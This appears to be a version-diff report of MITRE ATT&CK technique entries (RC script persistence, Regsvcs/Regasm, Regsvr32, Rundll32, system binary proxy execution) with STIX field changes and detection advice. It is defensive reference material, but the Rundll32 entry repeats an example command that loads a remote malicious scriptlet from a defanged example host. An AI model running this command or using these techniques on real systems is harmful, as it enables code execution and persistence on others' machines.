| > | ich is a shell script containing various utility functions. | > | m services at startup for different run levels. RC scripts r | ||
| > | This file also defines routines for processing command-line | > | equire root privileges to modify. Adversaries can establish | ||
| > | arguments and for gathering system settings and is thus reco | > | persistence by adding a malicious binary path or shell comm | ||
| > | mmended to include in the start of Startup Item Scripts (Cit | > | ands to <code>rc.local</code>, <code>rc.common</code>, and o | ||
| > | ation: Startup Items). In macOS and OS X, this is now a depr | > | ther RC scripts specific to the Unix-like distribution.(Cita | ||
| > | ecated mechanism in favor of [Launch Agent](https://attack.m | > | tion: IranThreats Kittens Dec 2017)(Citation: Intezer Hidden | ||
| > | itre.org/techniques/T1543/001) and [Launch Daemon](https://a | > | Wasp Map 2019) Upon reboot, the system executes the script's | ||
| > | ttack.mitre.org/techniques/T1543/004) but is currently still | > | contents as root, resulting in persistence. Adversary abus | ||
| > | used. Adversaries can use the rc.common file as a way to h | > | e of RC scripts is especially effective for lightweight Unix | ||
| > | ide code for persistence that will execute on each reboot as | > | -like distributions using the root user as default, such as | ||
| > | the root user. (Citation: Methods of Mac Malware Persistenc | > | IoT or embedded systems.(Citation: intezer-kaiji-malware) S | ||
| > | e) | > | everal Unix-like systems have moved to Systemd and deprecate | ||
| > | d the use of RC scripts. This is now a deprecated mechanism | ||||
| > | in macOS in favor of [Launchd](https://attack.mitre.org/tech | ||||
| > | niques/T1053/004). (Citation: Apple Developer Doco Archive L | ||||
| > | aunchd)(Citation: Startup Items) This technique can be used | ||||
| > | on Mac OS X Panther v10.3 and earlier versions which still e | ||||
| > | xecute the RC scripts.(Citation: Methods of Mac Malware Pers | ||||
| > | istence) To maintain backwards compatibility some systems, s | ||||
| > | uch as Ubuntu, will execute the RC scripts if they exist wit | ||||
| > | h the correct file permissions.(Citation: Ubuntu Manpage sys | ||||
| > | temd rc) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 23:46:20.433000+00:00 | 2021-04-27 19:58:01.927000+00:00 |
| name | Rc.common | RC Scripts |
| description | Adversaries may use rc.common automatically executed at boot initialization to establish persistence. During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated mechanism in favor of [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user. (Citation: Methods of Mac Malware Persistence) | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) |
| external_references[1]['source_name'] | Startup Items | IranThreats Kittens Dec 2017 |
| external_references[1]['description'] | Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. | Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020. |
| external_references[1]['url'] | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html | https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/ |
| external_references[2]['source_name'] | Methods of Mac Malware Persistence | Intezer HiddenWasp Map 2019 |
| external_references[2]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_detection | The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior. | Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.
Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'} | |
| external_references | {'source_name': 'Apple Developer Doco Archive Launchd', 'description': 'Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'} | |
| external_references | {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'} | |
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Ubuntu Manpage systemd rc', 'description': 'Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.', 'url': 'http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html'} | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Linux |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Regsvcs and Regasm to proxy execution | t | 1 | Adversaries may abuse Regsvcs and Regasm to proxy execution |
| > | of code through a trusted Windows utility. Regsvcs and Regas | > | of code through a trusted Windows utility. Regsvcs and Regas | ||
| > | m are Windows command-line utilities that are used to regist | > | m are Windows command-line utilities that are used to regist | ||
| > | er .NET [Component Object Model](https://attack.mitre.org/te | > | er .NET [Component Object Model](https://attack.mitre.org/te | ||
| > | chniques/T1559/001) (COM) assemblies. Both are digitally sig | > | chniques/T1559/001) (COM) assemblies. Both are binaries that | ||
| > | ned by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN R | > | may be digitally signed by Microsoft. (Citation: MSDN Regsv | ||
| > | egasm) Both utilities may be used to bypass application con | > | cs) (Citation: MSDN Regasm) Both utilities may be used to b | ||
| > | trol through use of attributes within the binary to specify | > | ypass application control through use of attributes within t | ||
| > | code that should be run before registration or unregistratio | > | he binary to specify code that should be run before registra | ||
| > | n: <code>[ComRegisterFunction]</code> or <code>[ComUnregiste | > | tion or unregistration: <code>[ComRegisterFunction]</code> o | ||
| > | rFunction]</code> respectively. The code with the registrati | > | r <code>[ComUnregisterFunction]</code> respectively. The cod | ||
| > | on and unregistration attributes will be executed even if th | > | e with the registration and unregistration attributes will b | ||
| > | e process is run under insufficient privileges and fails to | > | e executed even if the process is run under insufficient pri | ||
| > | execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) | > | vileges and fails to execute. (Citation: LOLBAS Regsvcs)(Cit | ||
| > | ation: LOLBAS Regasm) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:36:37.411000+00:00 | 2022-03-11 18:55:48.725000+00:00 |
| description | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Regsvr32.exe to proxy execution of mal | t | 1 | Adversaries may abuse Regsvr32.exe to proxy execution of mal |
| > | icious code. Regsvr32.exe is a command-line program used to | > | icious code. Regsvr32.exe is a command-line program used to | ||
| > | register and unregister object linking and embedding control | > | register and unregister object linking and embedding control | ||
| > | s, including dynamic link libraries (DLLs), on Windows syste | > | s, including dynamic link libraries (DLLs), on Windows syste | ||
| > | ms. Regsvr32.exe is also a Microsoft signed binary. (Citatio | > | ms. The Regsvr32.exe binary may also be signed by Microsoft. | ||
| > | n: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may | > | (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32 | ||
| > | avoid triggering security tools that may not monitor executi | > | .exe may avoid triggering security tools that may not monito | ||
| > | on of, and modules loaded by, the regsvr32.exe process becau | > | r execution of, and modules loaded by, the regsvr32.exe proc | ||
| > | se of allowlists or false positives from Windows using regsv | > | ess because of allowlists or false positives from Windows us | ||
| > | r32.exe for normal operations. Regsvr32.exe can also be used | > | ing regsvr32.exe for normal operations. Regsvr32.exe can als | ||
| > | to specifically bypass application control using functional | > | o be used to specifically bypass application control using f | ||
| > | ity to load COM scriptlets to execute DLLs under user permis | > | unctionality to load COM scriptlets to execute DLLs under us | ||
| > | sions. Since Regsvr32.exe is network and proxy aware, the sc | > | er permissions. Since Regsvr32.exe is network and proxy awar | ||
| > | ripts can be loaded by passing a uniform resource locator (U | > | e, the scripts can be loaded by passing a uniform resource l | ||
| > | RL) to file on an external Web server as an argument during | > | ocator (URL) to file on an external Web server as an argumen | ||
| > | invocation. This method makes no changes to the Registry as | > | t during invocation. This method makes no changes to the Reg | ||
| > | the COM object is not actually registered, only executed. (C | > | istry as the COM object is not actually registered, only exe | ||
| > | itation: LOLBAS Regsvr32) This variation of the technique is | > | cuted. (Citation: LOLBAS Regsvr32) This variation of the tec | ||
| > | often referred to as a "Squiblydoo" attack and has been use | > | hnique is often referred to as a "Squiblydoo" and has been u | ||
| > | d in campaigns targeting governments. (Citation: Carbon Blac | > | sed in campaigns targeting governments. (Citation: Carbon Bl | ||
| > | k Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting | > | ack Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeti | ||
| > | Mongolian Gov) Regsvr32.exe can also be leveraged to regis | > | ng Mongolian Gov) Regsvr32.exe can also be leveraged to reg | ||
| > | ter a COM Object used to establish persistence via [Componen | > | ister a COM Object used to establish persistence via [Compon | ||
| > | t Object Model Hijacking](https://attack.mitre.org/technique | > | ent Object Model Hijacking](https://attack.mitre.org/techniq | ||
| > | s/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | > | ues/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:37:32.931000+00:00 | 2022-03-11 20:41:41.503000+00:00 |
| description | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Loaded DLLs | Module: Module Load |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal | t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal |
| > | icious code. Using rundll32.exe, vice executing directly (i. | > | icious code. Using rundll32.exe, vice executing directly (i. | ||
| > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | ||
| > | 9)), may avoid triggering security tools that may not monito | > | 9)), may avoid triggering security tools that may not monito | ||
| > | r execution of the rundll32.exe process because of allowlist | > | r execution of the rundll32.exe process because of allowlist | ||
| > | s or false positives from normal operations. Rundll32.exe is | > | s or false positives from normal operations. Rundll32.exe is | ||
| > | commonly associated with executing DLL payloads. Rundll32. | > | commonly associated with executing DLL payloads (ex: <code> | ||
| > | exe can also be used to execute [Control Panel](https://atta | > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | ||
| > | ck.mitre.org/techniques/T1218/002) Item files (.cpl) through | > | an also be used to execute [Control Panel](https://attack.mi | ||
| > | the undocumented shell32.dll functions <code>Control_RunDLL | > | tre.org/techniques/T1218/002) Item files (.cpl) through the | ||
| > | </code> and <code>Control_RunDLLAsUser</code>. Double-clicki | > | undocumented shell32.dll functions <code>Control_RunDLL</cod | ||
| > | ng a .cpl file also causes rundll32.exe to execute. (Citatio | > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | ||
| > | n: Trend Micro CPL) Rundll32 can also be used to execute sc | > | .cpl file also causes rundll32.exe to execute. (Citation: Tr | ||
| > | ripts such as JavaScript. This can be done using a syntax si | > | end Micro CPL) Rundll32 can also be used to execute scripts | ||
| > | milar to this: <code>rundll32.exe javascript:"\..\mshtml,Run | > | such as JavaScript. This can be done using a syntax similar | ||
| > | HTMLApplication ";document.write();GetObject("script:https[: | > | to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA | ||
| > | ]//www[.]example[.]com/malicious.sct")"</code> This behavio | > | pplication ";document.write();GetObject("script:https[:]//ww | ||
| > | r has been seen used by malware such as Poweliks. (Citation: | > | w[.]example[.]com/malicious.sct")"</code> This behavior has | ||
| > | This is Security Command Line Confusion) | > | been seen used by malware such as Poweliks. (Citation: This | ||
| > | is Security Command Line Confusion) Adversaries may also a | ||||
| > | ttempt to obscure malicious code from analysis by abusing th | ||||
| > | e manner in which rundll32.exe loads DLL function names. As | ||||
| > | part of Windows compatibility support for various character | ||||
| > | sets, rundll32.exe will first check for wide/Unicode then AN | ||||
| > | SI character-supported functions before loading the specifie | ||||
| > | d function (e.g., given the command <code>rundll32.exe Examp | ||||
| > | leDLL.dll, ExampleFunction</code>, rundll32.exe would first | ||||
| > | attempt to execute <code>ExampleFunctionW</code>, or failing | ||||
| > | that <code>ExampleFunctionA</code>, before loading <code>Ex | ||||
| > | ampleFunction</code>). Adversaries may therefore obscure mal | ||||
| > | icious code by creating multiple identical exported function | ||||
| > | names and appending <code>W</code> and/or <code>A</code> to | ||||
| > | harmless ones.(Citation: Attackify Rundll32.exe Obscurity)( | ||||
| > | Citation: Github NoRunDll) DLL functions can also be exporte | ||||
| > | d and executed by an ordinal number (ex: <code>rundll32.exe | ||||
| > | file.dll,#1</code>). Additionally, adversaries may use [Mas | ||||
| > | querading](https://attack.mitre.org/techniques/T1036) techni | ||||
| > | ques (such as changing DLL file names, file extensions, or f | ||||
| > | unction names) to further conceal execution of a malicious p | ||||
| > | ayload.(Citation: rundll32.exe defense evasion) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:31:42.113000+00:00 | 2022-04-19 18:12:39.357000+00:00 |
| description | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) |
| external_references[1]['source_name'] | Trend Micro CPL | rundll32.exe defense evasion |
| external_references[1]['description'] | Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. | Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022. |
| external_references[1]['url'] | https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf | https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/ |
| external_references[2]['source_name'] | This is Security Command Line Confusion | Attackify Rundll32.exe Obscurity |
| external_references[2]['description'] | B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. | Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021. |
| external_references[2]['url'] | https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ | https://www.attackify.com/blog/rundll32_execution_order/ |
| x_mitre_data_sources[0] | DLL monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | File: File Metadata |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'This is Security Command Line Confusion', 'description': 'B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', 'url': 'https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/'} | |
| external_references | {'source_name': 'Github NoRunDll', 'description': 'gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.', 'url': 'https://github.com/gtworek/PSBits/tree/master/NoRunDll'} | |
| external_references | {'source_name': 'Trend Micro CPL', 'description': 'Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'} | |
| x_mitre_contributors | Gareth Phillips, Seek Ltd. | |
| x_mitre_contributors | James_inthe_box, Me |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass process and/or signature-based defens | t | 1 | Adversaries may bypass process and/or signature-based defens |
| > | es by proxying execution of malicious content with signed bi | > | es by proxying execution of malicious content with signed, o | ||
| > | naries. Binaries signed with trusted digital certificates ca | > | r otherwise trusted, binaries. Binaries used in this techniq | ||
| > | n execute on Windows systems protected by digital signature | > | ue are often Microsoft-signed files, indicating that they ha | ||
| > | validation. Several Microsoft signed binaries that are defau | > | ve been either downloaded from Microsoft or are already nati | ||
| > | lt on Windows installations can be used to proxy execution o | > | ve in the operating system.(Citation: LOLBAS Project) Binari | ||
| > | f other files. | > | es signed with trusted digital certificates can typically ex | ||
| > | ecute on Windows systems protected by digital signature vali | ||||
| > | dation. Several Microsoft signed binaries that are default o | ||||
| > | n Windows installations can be used to proxy execution of ot | ||||
| > | her files or commands. Similarly, on Linux systems adversar | ||||
| > | ies may abuse trusted binaries such as <code>split</code> to | ||||
| > | proxy execution of malicious commands.(Citation: split man | ||||
| > | page)(Citation: GTFO split) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:37:15.275000+00:00 | 2022-04-18 14:52:08.678000+00:00 |
| name | Signed Binary Proxy Execution | System Binary Proxy Execution |
| description | Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. | Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) |
| x_mitre_data_sources[0] | API monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Binary file metadata | Command: Command Execution |
| x_mitre_data_sources[3] | Process use of network | Process: OS API Execution |
| x_mitre_data_sources[4] | Windows Registry | Module: Module Load |
| x_mitre_data_sources[5] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[6] | DLL monitoring | Network Traffic: Network Connection Creation |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GTFO split', 'description': 'GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.', 'url': 'https://gtfobins.github.io/gtfobins/split/'} | |
| external_references | {'source_name': 'LOLBAS Project', 'description': 'Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.', 'url': 'https://github.com/LOLBAS-Project/LOLBAS#criteria'} | |
| external_references | {'source_name': 'split man page', 'description': 'Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) — Linux manual page. Retrieved March 25, 2022.', 'url': 'https://man7.org/linux/man-pages/man1/split.1.html'} | |
| x_mitre_contributors | Wes Hurd | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use scripts signed with trusted certificates | t | 1 | Adversaries may use trusted scripts, often signed with certi |
| > | to proxy execution of malicious files. Several Microsoft si | > | ficates, to proxy the execution of malicious files. Several | ||
| > | gned scripts that are default on Windows installations can b | > | Microsoft signed scripts that have been downloaded from Micr | ||
| > | e used to proxy execution of other files. This behavior may | > | osoft or are default on Windows installations can be used to | ||
| > | be abused by adversaries to execute malicious files that cou | > | proxy execution of other files.(Citation: LOLBAS Project) T | ||
